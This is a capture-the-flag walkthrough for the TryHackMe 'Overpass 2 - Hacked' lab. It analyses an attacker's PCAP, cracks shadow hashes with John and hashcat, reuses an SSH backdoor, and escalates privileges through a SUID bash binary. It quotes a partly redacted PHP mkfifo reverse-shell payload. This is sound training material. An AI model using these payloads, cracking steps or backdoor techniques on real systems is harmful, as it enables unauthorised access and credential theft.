This is a write-up for the room Overpass 2 - Hacked from TryHackMe.

Task 1: Forensics - Analyse the PCAP

First of all download the PCAP file for the room.

Open the PCAP file in Wireshark

sudo wireshark overpass2.pcapng

You should see the following: overpass2pcap

What was the URL of the page they used to upload a reverse shell?

If you look at the requests you can see that the URL to upload a file is:


What payload did the attacker use to gain access?

To get the payload used, we can analyse the post request made to /dev*****/up***.php by right clicking, and pressing follow. By doing this we get the following: payloadused The reverse shell payload used was:

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| ..... >/tmp/f")?>

What password did the attacker use to privesc?

If you look further down the Wireshark logs, you will see the reverse shell connection to port 4242. If we follow the TCP stream of the request we will be able to see the reverse shell as Netcat transmits everything in plaintext. passwordused We can see from this that the password used to privesc was whenevernote********

How did the attacker establish persistence?

We can see further on in the reverse shell that he clones a git repository called*****/ssh-******

Using the fasttrack wordlist, how many of the system passwords were crackable?

Earlier on in the logs, the attacker ran the command sudo cat /etc/shadow. This showed the hash of a few passwords. Get the fasttrack wordlist here If we copy the hashes into a file named hashes.txt we can run John the Ripper against the hashes.

sudo john --wordlist=/usr/share/wordlists/fasttrack.txt hashes.txt

We get the following output:

Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
se***         (****)

Task 2: Research - Analyse the code

What’s the default hash for the backdoor?

To get the default hash we can visit the GitHub repo from earlier. If you open main.go we can see the default hash is:

var hash string = "bdd04d9bb7621687f5df9001f5098eb22b********

What’s the hardcoded salt for the backdoor?

Once in again in main.go, at the bottom we see the function passwordHandler which contains the hardcoded hash:


What was the hash that the attacker used? - go back to the PCAP for this!

Going back to the reverse shell, we can see the command

./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240***********

Crack the hash using rockyou and a cracking tool of your choice. What’s the password?

If you put hash:salt in a file named hash.txt we can run hashcat against it:

hashcat hash.txt /usr/share/wordlists/rockyou.txt

Task 3: Attack - Get back in!

First of all, deploy the machine

The attacker defaced the website. What message did they leave as a heading?

If we the IP address we see the following website: websitemessage

Using the information you’ve found previously, hack your way back in!

We can use the ssh backdoor on port 2222 to get back in:

ssh [email protected][machine-ip] -p 2222

And we are in:

[email protected]:/home/james/ssh-backdoor$

What’s the user flag?

We can change to the home directory and run cat user.txt and we get the flag:


What’s the root flag?

If we run ls -la, we find an interesting executable called .suid_bash We can exploit this by running:

./.suid_bash -p

We can run whoami to check:

.suid_bash-4.4# whoami

And we are root! We can get the root flag by running cat /root/root.txt and we get:


And that is the room complete!